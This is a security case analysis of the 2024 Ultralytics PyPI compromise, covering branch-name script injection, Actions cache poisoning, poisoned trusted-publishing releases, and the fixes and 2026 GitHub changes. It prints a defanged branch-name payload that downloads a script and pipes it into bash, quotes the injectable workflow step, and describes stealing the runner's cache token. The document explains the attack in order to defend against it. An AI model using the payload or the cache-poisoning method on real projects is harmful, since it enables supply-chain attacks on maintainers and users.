osec.one case analysis cover: Ultralytics 2024, a poisoned PyPI release built by the project's own GitHub workflow

On the evening of 4 December 2024 (UTC), version 8.3.41 of ultralytics, the Python package behind the YOLO object-detection models, appeared on PyPI. It was built by the project's own GitHub Actions release workflow, uploaded with PyPI's trusted publishing, and came with a valid build attestation pointing at the real repository. It also downloaded and ran the XMRig cryptocurrency miner on every machine that imported it.

Nobody had stolen a maintainer's password or pushed bad code to the repository. The source on GitHub was clean; the package on PyPI was not. The way in was the name of a git branch in a pull request from a stranger, and the bridge to the release was the GitHub Actions cache. Three days later the attacker uploaded two more bad versions, this time with an old PyPI API token. Step by step, with the times, and the settings that break each step, including the ones GitHub changed in 2026 because of cases like this.

Attack chain: fork pull request with a shell command in the branch name, pull_request_target workflow pastes github.head_ref into a shell, runner cache token used to poison the pip cache on main, release workflow restores it and builds 8.3.41 with a miner, trusted publishing uploads it with a valid attestation, later 8.3.45 and 8.3.46 uploaded with a leftover API token
Nothing in steps 4 and 5 was broken: the release workflow did what it was built to do, with poisoned inputs.

The timeline

text
Ultralytics, December 2024 (times UTC; William Woodruff's timeline, PyPI, ReversingLabs, Snyk)

Aug 2024        GHSA-7x29-qqmq-v6qc: injection in ultralytics/actions reported (14 Aug),
                fixed in v0.0.3; reintroduced in v0.0.24 (24 Aug)
 2 Dec 15:03    8.3.40 released (clean, the last good one before the attack)
 4 Dec          PRs #18018 and #18020 from account "openimbot", payload in the branch name
 4 Dec 20:51    8.3.41 published by publish.yml via trusted publishing (miner inside)
 5 Dec 06:34    issue #18027: a user reports 8.3.41 as malicious
 5 Dec 09:15    8.3.41 removed
 5 Dec 12:47    8.3.42 published by the same workflow: also malicious
 5 Dec 13:47    8.3.42 removed
 5 Dec 19:49    8.3.43 released (clean)
 7 Dec 01:41    8.3.45 uploaded with an API token, no CI run, no attestation
 7 Dec 02:27    8.3.46 uploaded the same way
 7 Dec 10:08    8.3.45 and 8.3.46 removed
 8 Dec 17:50    8.3.48 released; fix PRs #18052 (drops cache: pip) and #18111

PyPI's release list for ultralytics today goes 8.3.40, 8.3.43, 8.3.44, 8.3.47: the four bad versions are gone. The package is downloaded about 4.18 million times a month (pypistats, 21 October 2026).

Step 1: a command in a branch name

Anyone can fork a public repository, create a branch and open a pull request. Git allows a lot of characters in a branch name, including $, {, } and |. The attacker's branches were named roughly like this (defanged):

text
$({curl,-sSfL,raw.githubusercontent.com/<attacker>/<repo>/<file>.sh}${IFS}|${IFS}bash)

{a,b,c}   brace expansion turns this into "curl -sSfL <url>" without typing a space
${IFS}    the shell's field separator: a space that isn't a literal space
$( ... )  run it and paste the output in

A branch name can't contain a space, so the payload is written without one. On its own it is just text. It only becomes a command when a workflow pastes it into a shell script.

Step 2: pull_request_target pasted it into a shell

Ultralytics had a formatting workflow, format.yml, that ran on pull_request_target. That trigger runs the workflow from the base repository, with the base repository's secrets and a write-capable token, even when the pull request comes from a fork. It exists so bots can label or comment on outside PRs. The workflow called the project's own composite action, ultralytics/actions@main, which had a step like this:

yaml
# inside ultralytics/actions action.yml (simplified)
- name: Commit and Push Changes
  shell: bash
  run: |
    git pull origin ${{ github.head_ref || github.ref }}
    ...

${{ github.head_ref }} is the pull request's branch name. GitHub replaces the expression with the text before the shell sees the script, so the branch name became part of the script and ran: download a file, pipe it into bash, inside Ultralytics' own workflow on Ultralytics' own runner. The same pattern had been reported in August 2024, fixed in v0.0.3 of the action, and came back ten days later in v0.0.24.

This is script injection, the same class as the PR-title injections in other projects. What it does next depends on what the job can reach. A read-only token limits the damage to the repository itself. Ultralytics' attacker went for something less obvious.

Step 3: the cache was the way to the release

GitHub Actions has a per-repository cache (10 GB, least recently used entries evicted) that workflows use to skip reinstalling dependencies; actions/setup-python with cache: pip saves and restores pip's download cache. Its rules, as Adnan Khan laid out in May 2024:

text
GitHub Actions cache: how the boundary works (2024)

Scope        Entries are scoped by branch. A branch can read its own and the default
             branch's entries; sibling branches can't read each other's.
Who writes   Any job holding the runner's cache token (ACTIONS_RUNTIME_TOKEN + cache
             URL). Key and version are chosen by the client, not checked by the server.
pull_request_target   runs in the default branch's context, so what it saves is
             visible to every workflow on main, including release.
Immutable    An entry can't be overwritten under the same key; it can be evicted
             (fill the 10 GB) or deleted with an actions: write token.
Token life   about 6 hours in 2024, not revoked when the job ended.

A token stealer from a second account in the same campaign, published in a Gist, dumped the runner's memory for exactly those two values, the cache token and the cache URL (Woodruff's analysis). With them, the attacker could save an entry under the key the release workflow would look for. The suspected key was setup-python-Linux-x64-22.04-Ubuntu-python-3.12.7-pip-b25cacff...: the pip cache for Python 3.12.7 on Ubuntu 22.04. Ultralytics' fix a few days later removed cache: "pip" from setup-python in its workflows, which is the strongest public sign that this was the route.

Step 4: the release workflow built what it was given

A push to main started publish.yml, which set up Python, restored the poisoned pip cache, built the package and published it. Woodruff's timeline shows that run triggered from the project's bot account, by a commit that also removed a check limiting who could start the publish workflow. The build picked up modified code: ReversingLabs' diff of 8.3.40 against 8.3.41 shows new download-and-write code in downloads.py and a machine-type check in model.py, the usual shape of a dropper picking a platform-specific miner. The GitHub source didn't contain any of it.

Why was 8.3.42, the release meant to fix things, poisoned too? It came out of the same workflow on the same day. Cache entries are immutable and live until evicted, so a second release restoring the same key gets the same poisoned files. Rebuilding after a compromise without clearing the cache rebuilds the compromise.

Step 5: trusted publishing did its job, which wasn't this one

Trusted publishing replaces a long-lived PyPI token with a short-lived one that PyPI issues to a specific workflow in a specific repository. It did three things here: there was no token to steal for that path, the Sigstore attestation said exactly which workflow built 8.3.41, and investigators could narrow the cause to "in the repository or injected during the build" within hours. It could not tell PyPI that the build's inputs were poisoned. PyPI noted that Ultralytics' trusted publisher had no GitHub Environment configured, so no reviewer approval stood between a push to main and an upload.

Step 6: the API token nobody revoked

On 7 December two more versions arrived, 8.3.45 and 8.3.46, with a simpler payload in __init__.py. These had no matching CI run and no attestation: they were uploaded directly with a PyPI API token. The project had switched to trusted publishing but left an old token in its secrets; the code from Step 2 ran with access to those secrets. PyPI's advice afterwards was plain: once releases go out through trusted publishing, an unused API token is "a strong indicator" it should be revoked.

How long each bad version was the latest

text
Version   Uploaded (UTC)     Removed (UTC)      Hours live   How
8.3.41    4 Dec 20:51        5 Dec 09:15        12.4         CI + trusted publishing
8.3.42    5 Dec 12:47        5 Dec 13:47         1.0         CI + trusted publishing
8.3.45    7 Dec 01:41        7 Dec 10:08         8.5         API token
8.3.46    7 Dec 02:27        7 Dec 10:09         7.7         API token (overlaps 8.3.45)

Time when "pip install ultralytics" returned a bad version: 12.4 + 1.0 + 8.5 = 21.9 hours.
At today's rate (181,568 downloads a day = about 7,565 an hour, pypistats 21 Oct 2026)
that window would be about 165,000 downloads. An illustration of scale, not a count:
downloads include mirrors and CI, and the December 2024 rate is not published.

Every one of those installs ran a miner. A different payload in the same position could have taken cloud keys from training servers and laptops.

What breaks each step

text
Step                              Control                                          Now (2026)
1 command in a branch name        nothing to fix: outsiders choose the text        -
2 injected into run:              pass PR text via env:, quote "$VAR"; avoid       osec Workflow check flags it,
                                  pull_request_target for anything with a shell    incl. inside composite actions
3 cache written from PR context   no cache writes from outsider-triggered runs     read-only cache tokens for
                                                                                   untrusted triggers (Jun 2026)
4 release restores the cache      no Actions cache in release jobs                 cache-mode: none (Sep 2026)
5 publish without a human         trusted publishing + an Environment with         configure it; PyPI doesn't
                                  required reviewers                               warn if you don't
6 old API token                   revoke tokens once trusted publishing works      -
- moved tags in uses:             pin actions to commit SHAs                       osec Action pins

What GitHub changed in 2026

On 26 June 2026 GitHub started issuing read-only cache tokens when the triggering event is one someone other than a collaborator can start and the run uses the default branch's cache scope: pull_request_target, issue_comment and fork-PR workflow_run chains. Saves from those runs are skipped with a warning; restores still work. push, schedule, workflow_dispatch and other default-branch triggers keep read-write caching. On 10 September 2026 it added a cache-mode key (read, write, write-only, none) at workflow or job level. Declaring write on a low-trust trigger undoes the June protection, and GitHub adds a warning annotation when you do. (More on the 2026 changes: npm 12 and the 2026 GitHub Actions hardening.)

A release workflow after Ultralytics

yaml
name: publish
on:
  push:
    tags: ["v*"]
permissions:
  contents: read
cache-mode: none            # the release never restores or saves the Actions cache
jobs:
  pypi:
    runs-on: ubuntu-latest
    environment: pypi       # required reviewers set on this Environment
    permissions:
      id-token: write       # trusted publishing; no API token in secrets
    steps:
      - uses: actions/checkout@<full commit sha>  # v4
        with:
          persist-credentials: false
      - uses: actions/setup-python@<full commit sha>  # v5, no cache: input
        with:
          python-version: "3.12"
      - run: python -m pip install build==1.2.2 && python -m build
      - uses: pypa/gh-action-pypi-publish@<full commit sha>  # release/v1

Then, once: in PyPI's trusted publisher settings, name the pypi environment so uploads from any other job are refused; delete every PyPI API token on the project; on GitHub, add required reviewers to the environment.

If you think a release of yours was poisoned

1. Yank or delete the bad versions and report them to security@pypi.org (or npm support).
2. Clear the Actions cache (Settings, Actions, Caches, or gh cache delete --all) before you build again, or the fix release restores the same poison.
3. Rotate every secret the workflows could read, including tokens you think are unused.
4. Compare the package with the source: download the wheel and diff it against a clean build from the tagged commit.

Check your own repository

The osec Workflow risk check reads a public repository's workflows and composite actions and flags each Ultralytics step it can see: pull_request_target checking out PR code, outsider-controlled text such as github.head_ref pasted into run: (including inside an action.yml), and now a release or publish workflow that restores the Actions cache, or a cache-mode: write on a trigger outsiders can start. Unpinned actions go one click to the Action pin lookup. Related cases: tj-actions/changed-files 2025, the Action that printed secrets into build logs, and Shai-Hulud 2025, the npm worm that spread on stolen maintainer tokens.

Paste a public GitHub repository and get each workflow's risky patterns with the fix to paste: injected PR text, pull_request_target checkouts, release jobs that restore the cache, unpinned actions. Free.

Check a repository's workflows

Sources: William Woodruff: Ultralytics, zizmor and template injection (timeline, cache key, versions; 6 December 2024, updated); PyPI blog: Supply-chain attack analysis: Ultralytics (11 December 2024); ReversingLabs: Compromised ultralytics PyPI package delivers crypto coinminer; Snyk: Ultralytics AI pwn request supply chain attack; Adnan Khan: The monsters in your build cache, GitHub Actions cache poisoning (6 May 2024); OSV: PYSEC-2024-154; GitHub changelog: Read-only Actions cache for untrusted triggers (26 June 2026); GitHub changelog: Control GitHub Actions cache access with cache-mode (10 September 2026); PyPI release history for ultralytics; pypistats: ultralytics.